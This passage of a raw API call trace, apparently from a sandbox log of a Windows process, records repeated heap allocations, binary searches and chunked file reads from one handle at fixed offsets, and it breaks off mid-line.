bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9de0 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9e40 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71ea020 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9cc0 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9ea0 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9c60 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9540 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9480 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.280] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9960 [0100.280] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9ba0 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e95a0 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalFree (hMem=0x72840d0) returned 0x0 [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0100.281] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=48640, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0xbe00 [0100.281] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9300 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9420 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e90c0 [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8e80 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9000 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9060 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8a00 [0100.281] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8dc0 [0100.281] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8e20 [0100.282] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8d60 [0100.282] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8c40 [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8be0 [0100.282] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e8d00 [0100.282] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71e9840 [0100.282] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71d2940 [0100.282] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalFree (hMem=0x72840d0) returned 0x0 [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x200) returned 0x72840d0 [0100.282] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=65536, lpDistanceToMoveHigh=0x6a1e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e778*=0) returned 0x10000 [0100.282] ReadFile (in: hFile=0x12b4, lpBuffer=0x72840d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x6a1e788, lpOverlapped=0x0 | out: lpBuffer=0x72840d0*, lpNumberOfBytesRead=0x6a1e788*=0x200, lpOverlapped=0x0) returned 1 [0100.282] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71d2b20 [0100.282] bsearch (_Key=0x6a1e7b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.282] LocalFree (hMem=0x72840d0) returned 0x0 [0100.282] LocalFree (hMem=0x7286c20) returned 0x0 [0100.287] bsearch (_Key=0x6a1e6b8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) [0100.287] LocalAlloc (uFlags=0x40, uBytes=0xc54) returned 0x72e75a0 [0100.287] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=72512, lpDistanceToMoveHigh=0x6a1e678*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e678*=0) returned 0x11b40 [0100.287] ReadFile (in: hFile=0x12b4, lpBuffer=0x72e75a0, nNumberOfBytesToRead=0xc54, lpNumberOfBytesRead=0x6a1e688, lpOverlapped=0x0 | out: lpBuffer=0x72e75a0*, lpNumberOfBytesRead=0x6a1e688*=0xc54, lpOverlapped=0x0) returned 1 [0100.287] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x433fda0 [0100.287] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.287] LocalAlloc (uFlags=0x40, uBytes=0xbe0) returned 0x72069a0 [0100.287] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0520 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6ff0 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c04c0 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x71) returned 0x71a6260 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c12a0 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x349) returned 0x71a2ff0 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0070 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x183) returned 0x71beba0 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0f70 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43406c0 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1000 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fc00 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1030 [0100.288] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43408a0 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1060 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fb60 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1090 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433ff40 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c10c0 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x433fc80 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c10f0 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340240 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1120 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340220 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c03a0 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340560 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0e50 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fae0 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bf8c0 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340500 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2410 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fd20 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2170 [0100.289] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433f980 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c22f0 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c2290 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2440 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c1240 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1150 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x433fc60 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c11e0 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x433fca0 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1210 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43408c0 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bf9e0 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340860 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1e10 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340540 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1f00 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340580 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1e40 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340800 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1ea0 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43407c0 [0100.290] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1570 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340620 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c24d0 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fd00 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1d20 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43404c0 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c28f0 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fa80 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2a10 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43405e0 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2aa0 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fb20 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2770 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43405a0 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0e20 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fd80 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bf590 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340660 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0460 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43404a0 [0100.291] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0f10 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fd60 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340440 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0df0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43403a0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0dc0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x4340200 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0c10 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433f9c0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0be0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43407a0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0b80 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43404e0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340600 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bff20 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fbe0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfd70 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fcc0 [0100.292] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfad0 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340640 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1180 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340880 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c310 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43407e0 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727d3c0 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fd40 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727d6f0 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340380 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727d810 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340840 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727d930 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340720 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727da50 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340360 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727dd50 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340520 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727de70 [0100.293] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340700 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727df90 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x43406e0 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e0b0 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340820 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e1d0 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340780 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e2f0 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fb80 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e410 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340320 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e530 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x4340740 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e650 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x433fa20 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e770 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b640 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727e890 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723b480 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727eaa0 [0100.294] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b920 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727ebc0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a3c0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727ece0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a380 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727eef0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a580 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727f010 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a4e0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727f130 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a520 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727f250 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a480 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727f460 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b660 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727f580 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723bee0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727f6a0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b020 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727f8b0 [0100.295] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723c000 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727be30 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723aa40 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727be90 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723b2c0 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c130 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723b260 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c190 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b100 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c280 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a140 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c2b0 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a0c0 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c370 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b060 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c3d0 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723a740 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c4c0 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723a280 [0100.296] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c4f0 [0100.297] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723ac20 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c580 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a0e0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c610 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723bc60 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c6a0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b860 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c790 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b4e0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c880 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b040 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c8e0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723b7e0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727c9a0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a2e0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x727ca30 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723a9c0 [0100.304] LocalFree (hMem=0x72e75a0) returned 0x0 [0100.304] LocalFree (hMem=0x433fda0) returned 0x0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x433fda0 [0100.304] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6fe0 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723aa20 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6f60 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bc40 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6f20 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b9c0 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6e60 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bd60 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6fd0 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ac80 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7000 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ac60 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7010 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b4a0 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7020 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723aaa0 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7030 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a3a0 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x727cb20 [0100.305] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x723a2a0 [0100.305] LocalFree (hMem=0x727cb20) returned 0x0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ad20 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x723af00 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x723b7a0 [0100.306] LocalFree (hMem=0x723af00) returned 0x0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723af00 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x727cb20 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x723ba20 [0100.306] LocalFree (hMem=0x727cb20) returned 0x0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bc00 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x727cb20 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0xe) returned 0x723a500 [0100.306] LocalFree (hMem=0x727cb20) returned 0x0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ba00 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7040 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723be60 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7050 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a8e0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x71a5ae0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x3a) returned 0x71b7dc0 [0100.306] LocalFree (hMem=0x71a5ae0) returned 0x0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a5c0 [0100.306] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7060 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b380 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7070 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b6a0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7080 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723aa00 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7090 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b800 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x723bb00 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x723bc80 [0100.307] LocalFree (hMem=0x723bb00) returned 0x0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bb00 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f70a0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723be40 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f70b0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a5e0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f70c0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723aa60 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f70d0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 